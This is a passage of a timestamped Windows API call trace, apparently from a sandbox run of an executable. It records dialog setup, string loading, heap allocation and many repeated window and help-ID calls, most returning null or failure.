SendMessageW (hWnd=0x40124, Msg=0x40a, wParam=0xffffffff, lParam=0x4af260) returned 0x1 [0025.394] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.394] NtdllDefWindowProc_W () returned 0x0 [0025.394] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.394] NtdllDefWindowProc_W () returned 0x0 [0025.394] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.394] NtdllDefWindowProc_W () returned 0x0 [0025.397] CreateDialogParamW (hInstance=0xd0000, lpTemplateName=0x66, hWndParent=0x301e0, lpDialogFunc=0xd1846, dwInitParam=0x4afb9c) returned 0x0 [0025.397] GetWindowLongW (hWnd=0x301e0, nIndex=-21) returned 4914072 [0025.398] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0025.398] InitCommonControlsEx (picce=0x4af15c) returned 0 [0025.398] LoadIconW (hInstance=0xd0000, lpIconName=0x6d) returned 0x0 [0025.398] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0025.398] RegisterClassExW (param_1=0x4af12c) returned 0x0 [0025.398] GetDlgItem (hDlg=0x301e0, nIDDlgItem=1003) returned 0x0 [0025.398] GetDlgItem (hDlg=0x301e0, nIDDlgItem=1021) returned 0x0 [0025.398] GetDlgItem (hDlg=0x301e0, nIDDlgItem=1022) returned 0x0 [0025.398] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.398] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.398] LoadStringW (in: hInstance=0x0, uID=0x7d, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.398] GetLastError () returned 0x716 [0025.398] SetLastError (dwErrCode=0x716) [0025.398] GetLastError () returned 0x716 [0025.398] SetLastError (dwErrCode=0x716) [0025.398] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.398] GetLastError () returned 0x716 [0025.398] SetLastError (dwErrCode=0x716) [0025.398] GetLastError () returned 0x716 [0025.398] SetLastError (dwErrCode=0x716) [0025.398] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.398] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.398] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x1, lParam=0x4aef24) returned 0x0 [0025.398] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.398] LoadStringW (in: hInstance=0x0, uID=0x7e, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.398] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.399] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.399] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.399] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x2, lParam=0x4aef24) returned 0x0 [0025.399] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.399] LoadStringW (in: hInstance=0x0, uID=0x7f, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.399] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.399] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] GetLastError () returned 0x716 [0025.399] SetLastError (dwErrCode=0x716) [0025.399] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.399] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.399] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x3, lParam=0x4aef24) returned 0x0 [0025.399] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.399] LoadStringW (in: hInstance=0x0, uID=0x80, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.399] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.400] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.400] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.400] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x4, lParam=0x4aef24) returned 0x0 [0025.400] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.400] LoadStringW (in: hInstance=0x0, uID=0x81, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.400] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.400] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] GetLastError () returned 0x716 [0025.400] SetLastError (dwErrCode=0x716) [0025.400] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.400] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.400] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.400] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.400] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.400] LoadStringW (in: hInstance=0x0, uID=0x7f, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.400] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.401] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.401] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.401] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.401] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.401] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.401] LoadStringW (in: hInstance=0x0, uID=0x7e, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.401] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.401] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] GetLastError () returned 0x716 [0025.401] SetLastError (dwErrCode=0x716) [0025.401] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.401] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.401] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.401] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.401] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x200) returned 0x1f42c78 [0025.401] LoadStringW (in: hInstance=0x0, uID=0x7d, lpBuffer=0x1f42c78, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0025.401] GetLastError () returned 0x716 [0025.402] SetLastError (dwErrCode=0x716) [0025.402] GetLastError () returned 0x716 [0025.402] SetLastError (dwErrCode=0x716) [0025.402] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f42e80 [0025.402] GetLastError () returned 0x716 [0025.402] SetLastError (dwErrCode=0x716) [0025.402] GetLastError () returned 0x716 [0025.402] SetLastError (dwErrCode=0x716) [0025.402] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42e80 | out: hHeap=0x1f40000) returned 1 [0025.402] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f42c78 | out: hHeap=0x1f40000) returned 1 [0025.402] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.402] SendMessageW (hWnd=0x0, Msg=0x1061, wParam=0x0, lParam=0x4aef24) returned 0x0 [0025.402] SendMessageW (hWnd=0x0, Msg=0x1036, wParam=0x0, lParam=0x20) returned 0x0 [0025.402] SendMessageW (hWnd=0x0, Msg=0x1036, wParam=0x0, lParam=0x20) returned 0x0 [0025.402] SendMessageW (hWnd=0x0, Msg=0x1036, wParam=0x0, lParam=0x20) returned 0x0 [0025.402] SendMessageW (hWnd=0x0, Msg=0x100c, wParam=0xffffffff, lParam=0x1) returned 0x0 [0025.402] SendMessageW (hWnd=0x0, Msg=0x104b, wParam=0x0, lParam=0x4aedd0) returned 0x0 [0025.402] GetDlgItem (hDlg=0x1, nIDDlgItem=0) returned 0x0 [0025.402] GetWindowTextLengthW (hWnd=0x0) returned 0 [0025.402] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x2) returned 0x1f41368 [0025.402] GetWindowTextW (in: hWnd=0x0, lpString=0x1f41368, nMaxCount=1 | out: lpString="") returned 0 [0025.402] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41368 | out: hHeap=0x1f40000) returned 1 [0025.402] GetModuleHandleA (lpModuleName=0x0) returned 0xd0000 [0025.403] CryptCATAdminReleaseContext () returned 0x0 [0025.411] LoadBitmapA (hInstance=0xd0000, lpBitmapName=0x7a) returned 0x0 [0025.411] SendMessageA (hWnd=0x0, Msg=0x172, wParam=0x0, lParam=0x0) returned 0x0 [0025.411] CryptCATCDFClose () returned 0x0 [0025.411] GetTextExtentPoint32A (in: hdc=0x0, lpString="n", c=-1, psizl=0x4ae8e4 | out: psizl=0x4ae8e4) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.412] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.413] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.413] MoveWindow (hWnd=0x0, X=0, Y=0, nWidth=0, nHeight=0, bRepaint=1) returned 0 [0025.413] GetLastError () returned 0x578 [0025.413] GetScrollPos (hWnd=0x0, nBar=22) returned 0 [0025.413] GetScrollRange (in: hWnd=0x0, nBar=22, lpMinPos=0x4ae938, lpMaxPos=0x4ae904 | out: lpMinPos=0x4ae938, lpMaxPos=0x4ae904) returned 0 [0025.413] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0025.413] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8) returned 0x1f41368 [0025.413] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x20) returned 0x1f41378 [0025.413] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x10) returned 0x1f413a0 [0025.413] GetStockObject (i=0) returned 0x1900010 [0025.413] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x400) returned 0x1f42c78 [0025.413] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x10) returned 0x1f413b8 [0025.413] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f413a0 | out: hHeap=0x1f40000) returned 1 [0025.413] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f413b8 | out: hHeap=0x1f40000) returned 1 [0025.413] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41378 | out: hHeap=0x1f40000) returned 1 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.413] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.413] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.413] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.413] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.413] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.413] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.413] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.413] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.414] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.414] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.415] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.415] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.416] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.416] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId 